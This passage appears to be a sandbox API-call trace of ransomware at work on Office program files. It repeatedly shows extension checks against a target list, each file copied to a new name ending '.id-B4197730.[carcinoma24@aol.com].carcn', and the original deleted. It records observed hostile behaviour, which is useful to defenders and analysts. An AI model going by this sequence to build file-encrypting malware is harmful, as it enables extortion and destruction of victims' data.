Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0182.394] lstrlenW (lpString=".doc") returned 4 [0182.394] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.394] lstrlenW (lpString=".docx") returned 5 [0182.394] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0182.394] lstrlenW (lpString=".pdf") returned 4 [0182.394] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0182.394] lstrlenW (lpString=".xls") returned 4 [0182.394] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0182.394] lstrlenW (lpString=".xlsx") returned 5 [0182.394] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0182.394] lstrlenW (lpString=".ppt") returned 4 [0182.394] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0182.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0182.394] lstrlenW (lpString=".zip") returned 4 [0182.394] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0182.394] lstrlenW (lpString=".rar") returned 4 [0182.394] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0182.394] lstrlenW (lpString=".bz2") returned 4 [0182.394] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.394] lstrlenW (lpString=".7z") returned 3 [0182.394] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0182.394] lstrlenW (lpString=".dbf") returned 4 [0182.394] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0182.394] lstrlenW (lpString=".1cd") returned 4 [0182.394] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0182.394] lstrlenW (lpString=".jpg") returned 4 [0182.395] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0182.395] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0182.395] lstrlenW (lpString="AppXManifestLoc.en-us.xml") returned 25 [0182.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0182.395] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=9831) returned 1 [0182.395] CloseHandle (hObject=0x360) returned 1 [0182.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 0x220 [0182.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0182.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0182.395] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.395] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0182.396] GetLastError () returned 0x0 [0182.396] ReadFile (in: hFile=0x360, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x2667, lpOverlapped=0x0) returned 1 [0182.514] WriteFile (in: hFile=0x374, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x2670, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x2670, lpOverlapped=0x0) returned 1 [0182.516] ReadFile (in: hFile=0x360, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.516] WriteFile (in: hFile=0x374, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x106, lpOverlapped=0x0) returned 1 [0182.517] SetEndOfFile (hFile=0x374) returned 1 [0182.517] CloseHandle (hObject=0x374) returned 1 [0182.518] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.518] SetEndOfFile (hFile=0x360) returned 1 [0182.518] CloseHandle (hObject=0x360) returned 1 [0182.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0182.519] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 1 [0182.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0182.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0182.519] lstrlenW (lpString=".doc") returned 4 [0182.519] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.519] lstrlenW (lpString=".docx") returned 5 [0182.519] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0182.519] lstrlenW (lpString=".pdf") returned 4 [0182.519] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0182.519] lstrlenW (lpString=".xls") returned 4 [0182.519] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0182.520] lstrlenW (lpString=".xlsx") returned 5 [0182.520] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0182.520] lstrlenW (lpString=".ppt") returned 4 [0182.520] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0182.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0182.520] lstrlenW (lpString=".zip") returned 4 [0182.520] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0182.520] lstrlenW (lpString=".rar") returned 4 [0182.520] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0182.520] lstrlenW (lpString=".bz2") returned 4 [0182.520] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.520] lstrlenW (lpString=".7z") returned 3 [0182.520] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0182.520] lstrlenW (lpString=".dbf") returned 4 [0182.520] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0182.520] lstrlenW (lpString=".1cd") returned 4 [0182.520] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0182.520] lstrlenW (lpString=".jpg") returned 4 [0182.520] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0182.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0182.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0182.520] lstrlenW (lpString=".doc") returned 4 [0182.520] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.520] lstrlenW (lpString=".docx") returned 5 [0182.520] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0182.520] lstrlenW (lpString=".pdf") returned 4 [0182.520] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0182.520] lstrlenW (lpString=".xls") returned 4 [0182.520] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0182.520] lstrlenW (lpString=".xlsx") returned 5 [0182.520] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0182.521] lstrlenW (lpString=".ppt") returned 4 [0182.521] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0182.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0182.521] lstrlenW (lpString=".zip") returned 4 [0182.521] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0182.521] lstrlenW (lpString=".rar") returned 4 [0182.521] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0182.521] lstrlenW (lpString=".bz2") returned 4 [0182.521] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.521] lstrlenW (lpString=".7z") returned 3 [0182.521] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0182.521] lstrlenW (lpString=".dbf") returned 4 [0182.521] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0182.521] lstrlenW (lpString=".1cd") returned 4 [0182.521] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0182.521] lstrlenW (lpString=".jpg") returned 4 [0182.521] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0182.521] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0182.521] lstrlenW (lpString="AG00004_.GIF") returned 12 [0182.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0182.524] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=9024) returned 1 [0182.524] CloseHandle (hObject=0x360) returned 1 [0182.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 0x220 [0182.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0182.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0182.524] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.524] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0182.525] GetLastError () returned 0x0 [0182.525] ReadFile (in: hFile=0x360, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x2340, lpOverlapped=0x0) returned 1 [0182.578] WriteFile (in: hFile=0x374, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x2350, lpOverlapped=0x0) returned 1 [0182.579] ReadFile (in: hFile=0x360, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.579] WriteFile (in: hFile=0x374, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xec, lpOverlapped=0x0) returned 1 [0182.579] SetEndOfFile (hFile=0x374) returned 1 [0182.579] CloseHandle (hObject=0x374) returned 1 [0182.580] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.580] SetEndOfFile (hFile=0x360) returned 1 [0182.581] CloseHandle (hObject=0x360) returned 1 [0182.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0182.581] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 1 [0182.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0182.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0182.582] lstrlenW (lpString=".doc") returned 4 [0182.582] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0182.582] lstrlenW (lpString=".docx") returned 5 [0182.582] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0182.582] lstrlenW (lpString=".pdf") returned 4 [0182.582] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0182.582] lstrlenW (lpString=".xls") returned 4 [0182.582] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0182.582] lstrlenW (lpString=".xlsx") returned 5 [0182.582] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0182.582] lstrlenW (lpString=".ppt") returned 4 [0182.582] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0182.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0182.582] lstrlenW (lpString=".zip") returned 4 [0182.582] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0182.582] lstrlenW (lpString=".rar") returned 4 [0182.582] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0182.582] lstrlenW (lpString=".bz2") returned 4 [0182.582] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0182.582] lstrlenW (lpString=".7z") returned 3 [0182.582] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0182.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0182.582] lstrlenW (lpString=".dbf") returned 4 [0182.582] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0182.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0182.582] lstrlenW (lpString=".1cd") returned 4 [0182.582] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0182.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0182.582] lstrlenW (lpString=".jpg") returned 4 [0182.582] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0182.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0182.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0182.582] lstrlenW (lpString=".doc") returned 4 [0182.583] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0182.583] lstrlenW (lpString=".docx") returned 5 [0182.583] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0182.583] lstrlenW (lpString=".pdf") returned 4 [0182.583] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0182.583] lstrlenW (lpString=".xls") returned 4 [0182.583] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0182.583] lstrlenW (lpString=".xlsx") returned 5 [0182.583] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0182.583] lstrlenW (lpString=".ppt") returned 4 [0182.583] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0182.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0182.583] lstrlenW (lpString=".zip") returned 4 [0182.583] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0182.583] lstrlenW (lpString=".rar") returned 4 [0182.583] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0182.583] lstrlenW (lpString=".bz2") returned 4 [0182.583] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0182.583] lstrlenW (lpString=".7z") returned 3 [0182.583] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0182.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0182.583] lstrlenW (lpString=".dbf") returned 4 [0182.583] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0182.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0182.583] lstrlenW (lpString=".1cd") returned 4 [0182.583] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0182.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0182.583] lstrlenW (lpString=".jpg") returned 4 [0182.584] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0182.584] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0182.584] lstrlenW (lpString="AG00011_.GIF") returned 12 [0182.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0182.630] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=7216) returned 1 [0182.630] CloseHandle (hObject=0x360) returned 1 [0182.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 0x220 [0182.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0182.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0182.630] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.630] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0182.631] GetLastError () returned 0x0 [0182.631] ReadFile (in: hFile=0x360, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x1c30, lpOverlapped=0x0) returned 1 [0182.811] WriteFile (in: hFile=0x374, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x1c40, lpOverlapped=0x0) returned 1 [0182.812] ReadFile (in: hFile=0x360, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.812] WriteFile (in: hFile=0x374, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xec, lpOverlapped=0x0) returned 1 [0182.812] SetEndOfFile (hFile=0x374) returned 1 [0182.812] CloseHandle (hObject=0x374) returned 1 [0182.813] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.813] SetEndOfFile (hFile=0x360) returned 1 [0182.813] CloseHandle (hObject=0x360) returned 1 [0182.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0182.814] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 1 [0182.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0182.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0182.814] lstrlenW (lpString=".doc") returned 4 [0182.814] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0182.814] lstrlenW (lpString=".docx") returned 5 [0182.814] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0182.814] lstrlenW (lpString=".pdf") returned 4 [0182.814] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0182.814] lstrlenW (lpString=".xls") returned 4 [0182.814] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0182.814] lstrlenW (lpString=".xlsx") returned 5 [0182.814] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0182.814] lstrlenW (lpString=".ppt") returned 4 [0182.814] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0182.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0182.814] lstrlenW (lpString=".zip") returned 4 [0182.814] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0182.814] lstrlenW (lpString=".rar") returned 4 [0182.814] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0182.814] lstrlenW (lpString=".bz2") returned 4 [0182.814] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0182.814] lstrlenW (lpString=".7z") returned 3 [0182.814] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0182.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0182.814] lstrlenW (lpString=".dbf") returned 4 [0182.814] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0182.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0182.815] lstrlenW (lpString=".1cd") returned 4 [0182.815] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0182.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0182.815] lstrlenW (lpString=".jpg") returned 4 [0182.815] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0182.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0182.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0182.815] lstrlenW (lpString=".doc") returned 4 [0182.815] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0182.815] lstrlenW (lpString=".docx") returned 5 [0182.815] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0182.815] lstrlenW (lpString=".pdf") returned 4 [0182.815] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0182.815] lstrlenW (lpString=".xls") returned 4 [0182.815] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0182.815] lstrlenW (lpString=".xlsx") returned 5 [0182.815] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") 